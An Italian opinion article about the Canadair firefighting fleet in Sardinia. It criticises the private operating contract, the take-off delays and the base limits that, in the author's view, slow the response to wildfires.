
In Sardegna, ogni estate, la salvezza arriva dal cielo.
Nella nostra guerra contro il fuoco, quegli strani aerei gialli con i loro piloti un po' folli e un po' eroi sono sempre in prima linea.
Ma cosa sappiamo esattamente sull'organizzazione operativa che sta dietro i Canadair della pattuglia antincendio?
È veramente la più efficace in questa guerra fondamentale?
Una grande ammirazione e una profonda gratitudine, accompagnate da una certa ansia per quei "pazzi" che si lanciano tra le fiamme, accecati dal
fumo, con quell'aereo giallo, tanto pesante e apparentemente goffo che è difficile capire come possa restare in aria o sollevarsi dal mare dopo aver caricato diverse tonnellate d'acqua.
Sono queste le sensazioni che si provano osservando i Canadair antincendio in azione.
Come è tanto il sollievo quando appaiono all'orizzonte e entrano sulla scena di un incendio questi strani aerei anfibi, perché i 5.500 litri d'acqua e liquido
ritardante (corrispondente al peso di 5 utilitarie) che scaricano ad ogni passaggio sulle fiamme sono quasi sempre risolutivi.
Ecco perché la tempestività dell'intervento dei Bombardier Canadair CL415, questo il loro nome completo, è decisiva e fondamentale perché un
incendio, come spesso accade spinto dal vento, non si estenda in maniera poi difficile da controllare, ampliando a dismisura il fronte del fuoco e i danni conseguenti.
Proprio come è successo nei giorni scorsi a Santa Margherita di Pula, dove purtroppo i Canadair sono arrivati da Olbia soltanto dopo qualche ora, quando le fiamme
ormai avevano percorso decine di ettari di macchia mediterranea.
Ma cosa c'è dietro le quinte di questo importante apparato antincendio?
L'Italia dispone oggi di 19 Canadair antincendio, che erano 20 sinché uno rimase coinvolto in un ammaraggio d'emergenza in Puglia nel 2011 che lo
rese inutilizzabile, condannandolo alla demolizione.
Sono aerei acquistati nel corso degli anni '90 per la Protezione Civile italiana, trasferiti nel 2013 al Corpo dei Vigili del Fuoco, insieme alla "dote" di quasi
100 milioni di euro che ogni anno è destinata dallo Stato italiano a garantirne la presenza nei cieli italiani (e sardi) (allegato A).
Quello che non molti sanno è che questi aerei, il cui costo d'acquisto sarebbe oggi pari a oltre 30 milioni di euro per ogni esemplare, sono gestiti,
attraverso bando pubblico, da un'azienda privata e che, quindi, sono degli impiegati civili quei piloti, in ogni caso quasi eroici, che di professione si buttano tra le fiamme
La Inaer Aviation e la Inaer Anfibios, entrambe società della britannica Babcock, operatore leader nei servizi di engineering nei
settori della Difesa, Energia, Telecomunicazioni e Trasporti, presente in 5 continenti con oltre 28.000 dipendenti e quotata al FTSE 100 di Londra, dal 2013 si sono aggiudicate il contratto per
la gestione operativa e tecnico-manutentiva della flotta dei 19 aerei impegnati nella lotta antincendio, con un ribasso dello 0,02% sul prezzo a base d'asta, a dimostrazione che erano
probabilmente le uniche aziende in grado di partecipare alla gara.
Sostanzialmente i Canadair di proprietà pubblica, sono pilotati, manutenuti, riforniti di carburante e gestiti a tutti gli effetti da privati sulla
base di un contratto molto articolato, che il Comando dei Vigili del Fuoco ha prorogato all'inizio del 2015 per ulteriori tre anni.
Un contratto che prevede un canone annuo totale di oltre 50 milioni di euro più Iva a carico dello Stato e che disciplina dettagliatamente tutti
gli aspetti delle attività di utilizzo degli aerei, oltre che del centro operativo che li deve guidare nei loro interventi sul territorio nazionale.
Leggendo il contratto si scopre così che questo prevede un forfait di 400 ore di volo per ogni velivolo e un costo per ogni ora di volo
aggiuntiva di 1.245,96 euro (+IVA)
È proprio questo tipo di gestione, con un committente pubblico e un esecutore privato, con le inevitabili rigidità contrattuali che ne derivano, che sta alla base
della non perfetta efficienza di quest'arma fondamentale nella difesa del territorio.
A cominciare dai ritardi di intervento, dovuti da una parte alla previsione contrattuale che indica tempi di decollo massimi variabili tra i 30 e i 55
minuti dal momento in cui i piloti ricevono la "scheda di missione" da parte del loro centro operativo (art. 8-a del Disciplinare tecnico) a cui si devono aggiungere i tempi
tecnici nei quali il centro operativo riceve la richiesta d'intervento e la elabora (come minimo un'altra decina di minuti) e, dall'altra, a una presenza non capillare sul territorio (in Sardegna
i Canadair sono basati, e solo nei mesi estivi, all'aeroporto di Olbia, ad almeno 45 minuti dal sud dell'Isola), dato che il contratto prevede solo "tre basi di schieramento permanenti",
Genova, Ciampino e Lamezia Terme, oltre alla possibilità di istituire, ed è il caso di Olbia, basi stagionali a fronte del pagamento di un rimborso aggiuntivo di 1.305 euro (+IVA
e per ogni singolo aereo) al giorno. Ma la stessa complessità operativa imposta per la loro apertura, per quanto stagionale, renderebbe antieconomica la coesistenza in Sardegna di una base al
nord (Olbia) e una sud (Cagliari). Senza considerare poi che lo stesso contratto prevede, comunque, che queste basi stagionali siano al massimo due sull'intero territorio
nazionale. (Disciplinare tecnico art.11.b)
Ecco perché, purtroppo spesso, mentre il fuoco sospinto dal vento, alimentato da stoppie, macchia mediterranea e boschi, percorre chilometri seminando distruzione
e, soprattutto, diventando incontrollabile da terra, i Canadair arrivano solo dopo ore, con le conseguenze che purtroppo ci sono ben note. Come visto dalle premesse, non potrebbe essere
diversamente.
Così come, sempre il contratto, impone alla Inaer di utilizzare, non tutti i 19 aerei della flotta, ma di averne in efficienza e operativi soltanto
14 (e solo nei periodi estivi di punta), mentre gli altri 5 possono tranquillamente rimanere a terra. (Disciplinare tecnico art.5)
Pur non volendo mettere in alcun modo in discussione la professionalità e la dedizione ammirevole degli equipaggi dei Canadair, che hanno tutta la mia riconoscenza,
e nemmeno sindacare sulla serietà ed efficienza delle aziende di proprietà della multinazionale britannica, aggiudicatarie dell'appalto, ho più di qualche dubbio sul fatto che l'assetto operativo
individuato dalla a Protezione Civile prima e dai Vigili del Fuoco oggi sia quello ottimale per massimizzare l'efficacia della flotta di Bombardier Canadair CL415, sul cui acquisto lo
Stato italiano ha comunque investito, anni fa, centinaia di milioni.
Perché gli stessi velivoli non sono stati affidati, per esempio, all'Aeronautica Militare (come infatti accade in Spagna), che avrebbe
perlomeno garantito una maggiore flessibilità d'uso slegata dagli stretti vincoli dettati da un contratto chiuso?
Siamo assolutamente certi che, anche dal punto di vista economico, questa scelta sia la migliore, visto che ognuno dei 19 aerei (che come risulta non vengono
nemmeno utilizzati in contemporanea tutti) costa, solo per la gestione ordinaria, circa 2,7 milioni all'anno?
È giusto che per la tutela dell'ambiente e, viste le ripercussioni sul turismo, della stessa immagine della Sardegna siano destinati soltanto 8 milioni di euro per
la battaglia aerea contro il fuoco?
Questo senza voler poi ricordare, al di là della demagogia, che i costi d'acquisto di ognuno dei famigerati caccia F35 ordinati dallo Stato
italiano, circa 200 milioni, potrebbero essere utilizzati per acquistare 7 Canadair, o che i 15 milioni annui del solo leasing del nuovo Airbus 340-500, definito "Air Force
Renzi", garantirebbero i costi di gestione di ulteriori 4 Canadair antincendio e la salvezza di migliaia di ettari di territorio !!!
Per completezza d'informazione si deve poi aggiungere che, accanto ai Canadair, operano anche 11 elicotteri, sempre privati, sulla base di un altro appalto.
Questa volta promosso e a carico della Regione
Sardegna.
In questo caso il contratto vale poco meno di 10 milioni di euro annui, per un periodo che va dai tre mesi e mezzo previsti per 6 degli elicotteri ai cinque
per gli altri 5. Con un forfait totale di 3.300 ore di volo e un costo di 820 euro per ogni ora aggiuntiva.
La presenza sul territorio è garantita in questo caso da 11 basi operative, una per ogni apparecchio, ma i limiti di portata d'acqua o di liquido estinguente
sono evidenti: un massimo di 950 litri contro i 5.500 dei Canadair.
Anche nel caso del contratto per gli elicotteri, l'appalto è stato aggiudicato con un ribasso simbolico di 3.100 euro, a conferma che anche in questo caso la
società risultata vincente, la piemontese Airgreen srl, è stata l'unica partecipante alla gara.
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e (lunedì, 05 novembre 2018 09:44)
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e (lunedì, 05 novembre 2018 09:45)
add
e (lunedì, 05 novembre 2018 09:45)
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e (lunedì, 05 novembre 2018 09:46)
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e (lunedì, 05 novembre 2018 09:47)
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e (lunedì, 05 novembre 2018 09:49)
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e (lunedì, 05 novembre 2018 09:50)
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e (lunedì, 05 novembre 2018 09:51)
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e (lunedì, 05 novembre 2018 09:55)
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